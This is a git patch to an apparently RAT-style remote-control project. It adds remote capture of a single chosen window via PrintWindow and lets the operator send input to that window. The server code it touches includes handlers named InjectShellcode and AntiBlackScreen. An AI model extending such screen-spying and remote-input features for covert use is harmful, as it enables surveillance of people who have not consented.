From d3b9e7faae293c0709d0234596f0cbe3b3470b1e Mon Sep 17 00:00:00 2001 From: yuanyuanxiang <962914132@qq.com> Date: Mon, 15 Jun 2026 13:08:23 +0200 Subject: [PATCH] Feat: window capture via PrintWindow with server-side HWND routing by clientID --- client/ScreenCapture.h | 2 + client/ScreenManager.cpp | 49 ++++++++++++++-- client/ScreenManager.h | 1 + client/ScreenSpy.cpp | 84 +++++++++++++++++++++++++++- client/ScreenSpy.h | 18 +++++- client/X264Encoder.cpp | 3 + common/commands.h | 1 + server/2015Remote/2015Remote.rc | Bin 157406 -> 157532 bytes server/2015Remote/2015RemoteDlg.cpp | 25 +++++++++ server/2015Remote/2015RemoteDlg.h | 1 + server/2015Remote/SystemDlg.cpp | 26 +++++++++ server/2015Remote/SystemDlg.h | 1 + server/2015Remote/lang/en_US.ini | 2 + server/2015Remote/lang/zh_TW.ini | 2 + server/2015Remote/resource.h | 4 +- server/2015Remote/stdafx.h | 1 + 16 files changed, 210 insertions(+), 10 deletions(-) diff --git a/client/ScreenCapture.h b/client/ScreenCapture.h index dfac8a3..6ba92a1 100644 --- a/client/ScreenCapture.h +++ b/client/ScreenCapture.h @@ -170,6 +170,7 @@ public: // 感兴趣区域 (ROI) RECT m_ROI = {0,0,0,0}; + bool m_bNeedRestart = false; // 捕获对象需要重建(如窗口尺寸变化) int m_nScaleSendWidth = 0; int m_nScaleSendHeight = 0; @@ -859,6 +860,7 @@ public: void ensureEncoder(int width, int height) { if (m_encoder) return; + if (width < 2 || height < 2) return; // x264 做偶数对齐 &~1,1→0,触发内部 strdup 泄漏;< 2 一并拦住 EncoderRequest req; req.width = width; req.height = height; diff --git a/client/ScreenManager.cpp b/client/ScreenManager.cpp index 97f502e..712678a 100644 --- a/client/ScreenManager.cpp +++ b/client/ScreenManager.cpp @@ -471,6 +471,12 @@ void CScreenManager::InitScreenSpy() DXGI = param->buffer[0]; algo = param->length > 1 ? param->buffer[1] : algo; all = param->length > 2 ? param->buffer[2] : all; + // buffer[3..10]: HWND(uint64_t),启动时直接指定窗口捕获 + if (param->length >= 3 + (int)sizeof(uint64_t) && !m_hTargetWnd) { + uint64_t hwnd64 = 0; + memcpy(&hwnd64, param->buffer + 3, sizeof(uint64_t)); + if (hwnd64) m_hTargetWnd = (HWND)(UINT_PTR)hwnd64; + } } m_pUserParam = param; } else { @@ -481,6 +487,11 @@ void CScreenManager::InitScreenSpy() if (level >= 0 && level < QUALITY_COUNT) { algo = m_QualityProfiles[level].algorithm; } + // 窗口捕获必须走 GDI(PrintWindow),ScreenCapturerDXGI 无窗口捕获能力 + if (m_hTargetWnd && DXGI == USING_DXGI) { + DXGI = USING_GDI; + Mprintf("CScreenManager: 窗口捕获模式,强制 GDI\n"); + } // 保存屏幕类型,服务端用于判断是否显示虚拟桌面相关菜单 m_ScreenSettings.ScreenType = DXGI; Mprintf("CScreenManager: Type %d Algorithm: %d (QualityLevel=%d)\n", DXGI, int(algo), level); @@ -531,12 +542,12 @@ void CScreenManager::InitScreenSpy() } else { SAFE_DELETE(s); m_isGDI = TRUE; - m_ScreenSpyObject = new CScreenSpy(32, algo, FALSE, DEFAULT_GOP, all, m_ScreenSettings.EncodeLevel, rect, switchScreen); + m_ScreenSpyObject = new CScreenSpy(32, algo, FALSE, DEFAULT_GOP, all, m_ScreenSettings.EncodeLevel, rect, switchScreen, m_hTargetWnd); Mprintf("CScreenManager: DXGI SPY init failed!!! Using GDI instead.\n"); } } else { m_isGDI = TRUE; - m_ScreenSpyObject = new CScreenSpy(32, algo, DXGI == USING_VIRTUAL, DEFAULT_GOP, all, m_ScreenSettings.EncodeLevel, rect, switchScreen); + m_ScreenSpyObject = new CScreenSpy(32, algo, DXGI == USING_VIRTUAL, DEFAULT_GOP, all, m_ScreenSettings.EncodeLevel, rect, switchScreen, m_hTargetWnd); } } @@ -698,6 +709,12 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam) } This->SendNextScreen(szBuffer, ulNextSendLength); } + // 窗口捕获:尺寸变化时在工作线程内原地重建,无需跨线程同步 + if (This->m_ScreenSpyObject && This->m_ScreenSpyObject->m_bNeedRestart) { + SAFE_DELETE(This->m_ScreenSpyObject); + This->InitScreenSpy(); + This->m_SendFirst = FALSE; // 触发重发 BitmapInfo + 首帧 + } } timeEndPeriod(1); Mprintf("ScreenWorkThread Exit\n"); @@ -831,6 +848,25 @@ VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength) } break; } + case COMMAND_SCREEN_WINDOW: { + // [mode:1][data] — mode=0x00 按标题, mode=0x01 按 HWND(uint64_t), 其余=恢复全屏 + BYTE mode = (ulLength > 1) ? szBuffer[1] : 0xFF; + if (mode == 0x00 && ulLength > 2) { + const char* title = (const char*)(szBuffer + 2); + m_hTargetWnd = title[0] ? FindWindowA(NULL, title) : NULL; + Mprintf("[CScreenManager] 窗口捕获(标题): '%s' -> HWND=%p\n", title, m_hTargetWnd); + } else if (mode == 0x01 && ulLength >= 2 + sizeof(uint64_t)) { + uint64_t val = 0; + memcpy(&val, szBuffer + 2, sizeof(uint64_t)); + m_hTargetWnd = (HWND)(UINT_PTR)val; + Mprintf("[CScreenManager] 窗口捕获(HWND): 0x%llx -> HWND=%p\n", val, m_hTargetWnd); + } else { + m_hTargetWnd = NULL; + Mprintf("[CScreenManager] 窗口捕获取消,恢复全屏\n"); + } + RestartScreen(); + break; + } case COMMAND_ENCODE_LEVEL: { int encodeLevel = szBuffer[1]; iniFile cfg(CLIENT_PATH); @@ -2047,9 +2083,12 @@ VOID CScreenManager::ProcessCommand(LPBYTE szBuffer, ULONG ulLength) } } - // 窗口捕获模式:只能查看,不能控制 - if (m_ScreenSpyObject && m_ScreenSpyObject->GetTargetWindow()) { - return; + // 窗口捕获模式:点击前先将目标窗口置前,确保 SendInput 落到正确的窗口上 + if (m_ScreenSpyObject) { + HWND hwndTarget = m_ScreenSpyObject->GetTargetWindow(); + if (hwndTarget && IsWindow(hwndTarget) && !IsIconic(hwndTarget)) { + SetForegroundWindow(hwndTarget); + } } for (int i = 0; i < ulMsgCount; ++i, ptr += msgSize) { diff --git a/client/ScreenManager.h b/client/ScreenManager.h index d646cfd..4cd0ec7 100644 --- a/client/ScreenManager.h +++ b/client/ScreenManager.h @@ -64,6 +64,7 @@ public: BOOL m_bIsWorking; BOOL m_bIsBlockInput; RECT m_ROI = {0}; + HWND m_hTargetWnd = NULL; // 窗口捕获目标(NULL=全屏) BOOL m_SwitchScreen = TRUE; BOOL SendClientClipboard(BOOL fast); VOID UpdateClientClipboard(char *szBuffer, ULONG ulLength); diff --git a/client/ScreenSpy.cpp b/client/ScreenSpy.cpp index 2a3c310..b40f237 100644 --- a/client/ScreenSpy.cpp +++ b/client/ScreenSpy.cpp @@ -12,12 +12,34 @@ // Construction/Destruction ////////////////////////////////////////////////////////////////////// -CScreenSpy::CScreenSpy(ULONG ulbiBitCount, BYTE algo, BOOL vDesk, int gop, BOOL all, int level, - RECT rc, BOOL switchScreen) : +CScreenSpy::CScreenSpy(ULONG ulbiBitCount, BYTE algo, BOOL vDesk, int gop, BOOL all, int level, + RECT rc, BOOL switchScreen, HWND hwnd) : ScreenCapture(ulbiBitCount, algo, all, level, rc, switchScreen) { + m_hTargetWnd = hwnd; m_GOP = gop; + // 窗口捕获模式:用 DWM 真实边界覆盖基类的全屏尺寸,并缓存阴影偏移量 + if (hwnd) { + RECT wndRc = {}, frameRc = {}; + GetWindowRect(hwnd, &wndRc); + if (SUCCEEDED(DwmGetWindowAttribute(hwnd, DWMWA_EXTENDED_FRAME_BOUNDS, &frameRc, sizeof(frameRc)))) { + m_ShadowLeft = frameRc.left - wndRc.left; + m_ShadowTop = frameRc.top - wndRc.top; + } else { + frameRc = wndRc; + } + m_ulFullWidth = frameRc.right - frameRc.left; + m_ulFullHeight = frameRc.bottom - frameRc.top; + m_CachedWndW = wndRc.right - wndRc.left; + m_CachedWndH = wndRc.bottom - wndRc.top; + m_iScreenX = frameRc.left; // 窗口左上角在屏幕上的绝对坐标,供 PointConversion 使用 + m_iScreenY = frameRc.top; + m_bZoomed = false; + Mprintf("CScreenSpy: 窗口捕获 HWND=%p 尺寸=%dx%d shadow=(%d,%d)\n", + hwnd, m_ulFullWidth, m_ulFullHeight, m_ShadowLeft, m_ShadowTop); + } + m_BitmapInfor_Full = ConstructBitmapInfo(ulbiBitCount, m_ulFullWidth, m_ulFullHeight); iniFile cfg(CLIENT_PATH); @@ -138,6 +160,64 @@ LPBYTE CScreenSpy::GetFirstScreenData(ULONG* ulFirstScreenLength) VOID CScreenSpy::ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHeight) { + if (m_hTargetWnd) { + // 最小化:不绘制,hdcDest 保留上一帧内容(远程端看到冻结画面) + if (IsIconic(m_hTargetWnd)) return; + + // 检测窗口尺寸变化:GetWindowRect 廉价,每帧调用; + // DwmGetWindowAttribute 较重,仅在 GetWindowRect 尺寸稳定后才调用。 + // 防抖策略:拖拽 resize 期间尺寸持续变化,冻结画面等待稳定 300ms 后再重建, + // 避免拖拽过程中每帧重建 DIBSection / 重发 BitmapInfo / 重置编解码器。 + static const DWORD RESIZE_DEBOUNCE_MS = 300; + RECT fullRc = {}; + GetWindowRect(m_hTargetWnd, &fullRc); + // 窗口每帧都可能移动,实时更新屏幕偏移,保证 PointConversion 坐标正确 + m_iScreenX = fullRc.left + m_ShadowLeft; + m_iScreenY = fullRc.top + m_ShadowTop; + int w = fullRc.right - fullRc.left; + int h = fullRc.bottom - fullRc.top; + if (w != m_CachedWndW || h != m_CachedWndH) { + // 尺寸有变化:更新防抖记录 + if (w != m_PendingWndW || h != m_PendingWndH) { + m_PendingWndW = w; + m_PendingWndH = h; + m_SizeChangeTick = GetTickCount(); + } + // 尚未稳定:冻结当前帧,继续等待 + if (GetTickCount() - m_SizeChangeTick < RESIZE_DEBOUNCE_MS) + return; + // 稳定 300ms:查询 DWM 真实帧边界,决定是否重建 + RECT frameRc = fullRc; + if (SUCCEEDED(DwmGetWindowAttribute(m_hTargetWnd, DWMWA_EXTENDED_FRAME_BOUNDS, &frameRc, sizeof(frameRc)))) { + m_ShadowLeft = frameRc.left - fullRc.left; + m_ShadowTop = frameRc.top - fullRc.top; + } else { + m_ShadowLeft = m_ShadowTop = 0; + } + if ((ULONG)(frameRc.right - frameRc.left) != m_ulFullWidth || + (ULONG)(frameRc.bottom - frameRc.top) != m_ulFullHeight) { + Mprintf("CScreenSpy: 窗口尺寸变化 %dx%d -> %dx%d,触发重建\n", + m_ulFullWidth, m_ulFullHeight, + frameRc.right - frameRc.left, frameRc.bottom - frameRc.top); + m_bNeedRestart = true; + return; + } + m_CachedWndW = w; + m_CachedWndH = h; + } + + // PrintWindow → 临时 DC → BitBlt 到目标(用缓存的阴影偏移跳过 DWM 扩展帧) + HDC hTmp = m_data.GetWindowDC(); + HBITMAP hOld = (HBITMAP)SelectObject(hTmp, m_data.GetWindowBmp()); + BOOL ok = PrintWindow(m_hTargetWnd, hTmp, PW_RENDERFULLCONTENT); + if (!ok) ok = PrintWindow(m_hTargetWnd, hTmp, 0); + if (ok) { + BitBlt(hdcDest, 0, 0, ulWidth, ulHeight, hTmp, m_ShadowLeft, m_ShadowTop, SRCCOPY); + } + SelectObject(hTmp, hOld); + return; + } + if (m_bVirtualPaint) { // 先用深色填充背景,避免窗口移动时留下残影 RECT rcFill = { 0, 0, (LONG)ulWidth, (LONG)ulHeight }; diff --git a/client/ScreenSpy.h b/client/ScreenSpy.h index eb114cf..34c85bd 100644 --- a/client/ScreenSpy.h +++ b/client/ScreenSpy.h @@ -95,10 +95,24 @@ protected: BOOL m_bVirtualPaint;// 是否虚拟绘制 EnumHwndsPrintData m_data; + HWND m_hTargetWnd = NULL; // 窗口捕获目标(NULL=全屏) + int m_ShadowLeft = 0; // DWM 阴影左偏移(frameRc.left - fullRc.left),帧间缓存 + int m_ShadowTop = 0; // DWM 阴影上偏移(frameRc.top - fullRc.top),帧间缓存 + int m_CachedWndW = 0; // 上帧 GetWindowRect 宽度,用于检测 resize 无需每帧调 DWM + int m_CachedWndH = 0; // 上帧 GetWindowRect 高度 + int m_PendingWndW = 0; // 防抖:检测到尺寸变化后记录的新宽度 + int m_PendingWndH = 0; // 防抖:检测到尺寸变化后记录的新高度 + DWORD m_SizeChangeTick = 0; // 防抖:尺寸上次变化的时间戳(GetTickCount) public: - CScreenSpy(ULONG ulbiBitCount, BYTE algo, BOOL vDesk = FALSE, int gop = DEFAULT_GOP, BOOL all = FALSE, - int level = LEVEL_H264_SOFT, RECT rc = {0}, BOOL switchScreen = TRUE); + CScreenSpy(ULONG ulbiBitCount, BYTE algo, BOOL vDesk = FALSE, int gop = DEFAULT_GOP, BOOL all = FALSE, + int level = LEVEL_H264_SOFT, RECT rc = {0}, BOOL switchScreen = TRUE, HWND hwnd = NULL); + + virtual HWND GetTargetWindow() const override { return m_hTargetWnd; } + + // 窗口模式下 m_ulFullWidth/Height 是窗口尺寸,但 SendInput 的 dx/dy 分母必须是屏幕尺寸 + virtual int GetScreenWidth() const override { return m_hTargetWnd ? GetSystemMetrics(SM_CXSCREEN) : m_ulFullWidth; } + virtual int GetScreenHeight() const override { return m_hTargetWnd ? GetSystemMetrics(SM_CYSCREEN) : m_ulFullHeight; } virtual ~CScreenSpy(); diff --git a/client/X264Encoder.cpp b/client/X264Encoder.cpp index 711adc7..e1d829f 100644 --- a/client/X264Encoder.cpp +++ b/client/X264Encoder.cpp @@ -68,6 +68,9 @@ bool CX264Encoder::open(int width, int height, int fps, int crf) bool CX264Encoder::open(x264_param_t * param) { + // x264_encoder_open 在 0×0 时已完成 x264_param_strdup 才报错,需在此拦截 + if (param->i_width < 2 || param->i_height < 2) return false; + m_pPicIn = (x264_picture_t*)calloc(1, sizeof(x264_picture_t)); m_pPicOut = (x264_picture_t*)calloc(1, sizeof(x264_picture_t)); diff --git a/common/commands.h b/common/commands.h index 68e5b06..c416064 100644 --- a/common/commands.h +++ b/common/commands.h @@ -304,6 +304,7 @@ enum { TOKEN_DRIVE_LIST_PLUGIN = 150, // 文件管理(插件) TOKEN_DRAWING_BOARD=151, // 画板 COMMAND_SCREEN_ROI = 152, // 屏幕区域 + COMMAND_SCREEN_WINDOW = 153, // 窗口捕获(标题字符串,空串=恢复全屏) TOKEN_DECRYPT = 199, TOKEN_REGEDIT = 200, // 注册表 diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc index 4671ab3ed0b0b8e3097c02eb2da107def6dbc24e..aeef14d4d28a14126b9e7feb1b3d7d3e7389d28a 100644 GIT binary patch delta 38 wcmV+>0NMZE%?aGj34pW#5ak5rXA5_ikmLbM1y%q_07aJ}ya6k>5aj{Rfj^lKKL7v# delta 17 Zcmca}j`QAG&W0_F0#CR1J!L%C2mn(h2@C)L diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index 7bdd7d1..db259f5 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -890,6 +890,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx) ON_MESSAGE(WM_TRIAL_WAN_IP_ABUSE, OnTrialWanIpAbuse) ON_MESSAGE(WM_INJECT_SHELLCODE, InjectShellcode) ON_MESSAGE(WM_ANTI_BLACKSCREEN, AntiBlackScreen) + ON_MESSAGE(WM_OPEN_WINDOW_SCREEN, OpenWindowScreen) ON_MESSAGE(WM_SHARE_CLIENT, ShareClient) ON_MESSAGE(WM_ASSIGN_CLIENT, AssignClient) ON_MESSAGE(WM_ASSIGN_ALLCLIENT, AssignAllClient) @@ -10273,6 +10274,30 @@ void CMy2015RemoteDlg::InjectTinyRunDll(const std::string& ip, int pid) SAFE_DELETE(tinyRun); } +LRESULT CMy2015RemoteDlg::OpenWindowScreen(WPARAM wParam, LPARAM lParam) +{ + // wParam: new char[2 * sizeof(uint64_t)],前 8 字节为 clientID,后 8 字节为 HWND(uint64_t) + char* arg = (char*)wParam; + uint64_t clientID = 0, hwnd64 = 0; + memcpy(&clientID, arg, sizeof(uint64_t)); + memcpy(&hwnd64, arg + sizeof(uint64_t), sizeof(uint64_t)); + delete[] arg; + auto ctx = FindHost(clientID); + if (!ctx) return S_FALSE; + + // 窗口捕获只能走 GDI(PrintWindow),忽略用户的 DXGI 设置 + BOOL all = THIS_CFG.GetInt("settings", "MultiScreen", TRUE); + CString algo = THIS_CFG.GetStr("settings", "ScreenCompress", ALGORITHM_NULL).c_str(); + // [0]=COMMAND_SCREEN_SPY [1]=DXGI(强制GDI) [2]=algo [3]=all [4..11]=HWND(uint64_t) + BYTE bToken[32] = { COMMAND_SCREEN_SPY, (BYTE)USING_GDI, + (BYTE)(algo.IsEmpty() ? ALGORITHM_RGB565 : atoi(algo.GetString())), + (BYTE)all }; + memcpy(bToken + 4, &hwnd64, sizeof(uint64_t)); + screenParamModifier(ctx, bToken); + ctx->Send2Client(bToken, sizeof(bToken)); + return S_OK; +} + LRESULT CMy2015RemoteDlg::AntiBlackScreen(WPARAM wParam, LPARAM lParam) { char* ip = (char*)wParam; diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h index 4590bc8..fa2f589 100644 --- a/server/2015Remote/2015RemoteDlg.h +++ b/server/2015Remote/2015RemoteDlg.h @@ -510,6 +510,7 @@ public: afx_msg LRESULT UPXProcResult(WPARAM wParam, LPARAM lParam); afx_msg LRESULT InjectShellcode(WPARAM wParam, LPARAM lParam); afx_msg LRESULT AntiBlackScreen(WPARAM wParam, LPARAM lParam); + afx_msg LRESULT OpenWindowScreen(WPARAM wParam, LPARAM lParam); afx_msg LRESULT ShareClient(WPARAM wParam, LPARAM lParam); LRESULT assignFunction(WPARAM wParam, LPARAM lParam, BOOL all); afx_msg LRESULT AssignClient(WPARAM wParam, LPARAM lParam); diff --git a/server/2015Remote/SystemDlg.cpp b/server/2015Remote/SystemDlg.cpp index edcf06c..c32373c 100644 --- a/server/2015Remote/SystemDlg.cpp +++ b/server/2015Remote/SystemDlg.cpp @@ -55,6 +55,7 @@ BEGIN_MESSAGE_MAP(CSystemDlg, CDialog) ON_COMMAND(ID_WLIST_MIN, &CSystemDlg::OnWlistMin) ON_COMMAND(ID_PLIST_INJECT, &CSystemDlg::OnPlistInject) ON_COMMAND(ID_PLIST_ANTI_BLACK_SCREEN, &CSystemDlg::OnPlistAntiBlackScreen) + ON_COMMAND(ID_WLIST_VIEW, &CSystemDlg::OnWlistView) END_MESSAGE_MAP() @@ -638,3 +639,28 @@ void CSystemDlg::OnPlistAntiBlackScreen() memcpy(arg + 256, arch, arch.GetLength()); m_pParent->PostMessageA(WM_ANTI_BLACKSCREEN, (WPARAM)arg, dwProcessID); } + +void CSystemDlg::OnWlistView() +{ + int nItem = m_ControlList.GetSelectionMark(); + if (nItem < 0) return; + auto data = (ItemData*)m_ControlList.GetItemData(nItem); + if (!data) return; + + // 最小化的窗口 PrintWindow 不会被调用,远程端只能看到黑屏 + if (data->Data[2] == "minimized") { + MessageBoxAPI_L(m_hWnd, "该窗口已最小化,请先还原后再查看。", "提示", MB_ICONINFORMATION); + return; + } + + // 布局: [clientID: uint64_t][HWND: uint64_t],共 16 字节 + // 使用子连接的 clientID 而非 IP,以确保多客户端同 IP 时路由正确 + char* arg = new char[2 * sizeof(uint64_t)](); + uint64_t clientID = m_ContextObject->GetClientID(); + uint64_t hwnd64 = (uint64_t)(UINT_PTR)(HWND)(UINT_PTR)data->ID; + memcpy(arg, &clientID, sizeof(uint64_t)); + memcpy(arg + sizeof(uint64_t), &hwnd64, sizeof(uint64_t)); + + ASSERT(m_pParent); + m_pParent->PostMessageA(WM_OPEN_WINDOW_SCREEN, (WPARAM)arg, 0); +} diff --git a/server/2015Remote/SystemDlg.h b/server/2015Remote/SystemDlg.h index 0ba2401..76e6a5e 100644 --- a/server/2015Remote/SystemDlg.h +++ b/server/2015Remote/SystemDlg.h @@ -48,4 +48,5 @@ public: afx_msg void OnSize(UINT nType, int cx, int cy); afx_msg void OnPlistInject(); afx_msg void OnPlistAntiBlackScreen(); + afx_msg void OnWlistView(); }; diff --git a/server/2015Remote/lang/en_US.ini b/server/2015Remote/lang/en_US.ini index 0948c24..aea1720 100644 --- a/server/2015Remote/lang/en_US.ini +++ b/server/2015Remote/lang/en_US.ini @@ -1933,3 +1933,5 @@ FRPC Զ ж=Uninstall Software ǷƳ=Uninstall this software. Are you sure? [ȫʾ] Web!!!=[Security Warning] Please set web password!!! +鿴=View Window +ôСȻԭٲ鿴=The window is minimized. Please restore it before viewing. diff --git a/server/2015Remote/lang/zh_TW.ini b/server/2015Remote/lang/zh_TW.ini index 4757fdf..4e852d9 100644 --- a/server/2015Remote/lang/zh_TW.ini +++ b/server/2015Remote/lang/zh_TW.ini @@ -1924,3 +1924,5 @@ FRPC Զ ж=ж ǷƳ=ǷƳ [ȫʾ] Web!!!=[ȫʾ] Web!!! +鿴=鿴 +ôСȻԭٲ鿴=ԓҕСՈ߀ԭٲ鿴 diff --git a/server/2015Remote/resource.h b/server/2015Remote/resource.h index 62926e2..97e81df 100644 --- a/server/2015Remote/resource.h +++ b/server/2015Remote/resource.h @@ -1000,6 +1000,8 @@ #define ID_VIEW_HIDE_LOG 33061 #define ID_33062 33062 #define ID_COPY_CLIENT_INFO 33063 +#define ID_WLIST_33064 33064 +#define ID_WLIST_VIEW 33065 #define ID_EXIT_FULLSCREEN 40001 // Next default values for new objects @@ -1007,7 +1009,7 @@ #ifdef APSTUDIO_INVOKED #ifndef APSTUDIO_READONLY_SYMBOLS #define _APS_NEXT_RESOURCE_VALUE 389 -#define _APS_NEXT_COMMAND_VALUE 33064 +#define _APS_NEXT_COMMAND_VALUE 33066 #define _APS_NEXT_CONTROL_VALUE 2542 #define _APS_NEXT_SYMED_VALUE 105 #endif diff --git a/server/2015Remote/stdafx.h b/server/2015Remote/stdafx.h index ac87250..d1db944 100644 --- a/server/2015Remote/stdafx.h +++ b/server/2015Remote/stdafx.h @@ -109,6 +109,7 @@ #define WM_ONLINE_HOSTNUM WM_USER+3039 #define WM_SPLITTER_MOVED WM_USER+3040 #define WM_SPLITTER_RELEASED WM_USER+3041 +#define WM_OPEN_WINDOW_SCREEN WM_USER+3042 // 窗口管理→打开指定窗口远程画面 #ifdef _UNICODE #if defined _M_IX86